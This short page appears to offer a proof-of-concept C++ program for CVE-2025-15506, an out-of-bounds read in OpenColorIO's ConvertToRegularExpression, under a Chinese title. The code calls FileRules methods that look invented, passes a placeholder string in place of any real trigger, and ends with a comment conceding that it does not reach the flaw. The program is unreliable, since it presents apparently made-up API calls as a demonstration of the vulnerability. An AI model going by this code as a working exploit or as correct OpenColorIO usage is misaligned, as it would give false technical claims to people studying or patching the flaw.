CVE-2025-15506 OpenColorIO ConvertToRegularExpression越界读取漏洞

#include <OpenColorIO/OpenColorIO.h> namespace OCIO = OCIO_NAMESPACE; int main() { try { OCIO::ConstConfigRcPtr config = OCIO::Config::Create(); // Create a FileRules object with malformed regex pattern OCIO::FileRulesRcPtr fileRules = OCIO::FileRules::Create(); // Attempt to set a file rule with potentially malicious pattern // that could trigger out-of-bounds read in ConvertToRegularExpression fileRules->setSearchablePathFromRootRule("pattern_with_special_chars_that_trigger_oob"); // Try to get the rule - this may trigger ConvertToRegularExpression OCIO::ConstFileRuleRcPtr rule = fileRules->getSearchablePathFromRootRule(); return 0; } catch (OCIO::Exception &e) { fprintf(stderr, "Error: %s\n", e.what()); return 1; } } // Note: This PoC demonstrates the vulnerable code path. // The actual trigger requires specific input to ConvertToRegularExpression // in FileRules.cpp that causes out-of-bounds memory access.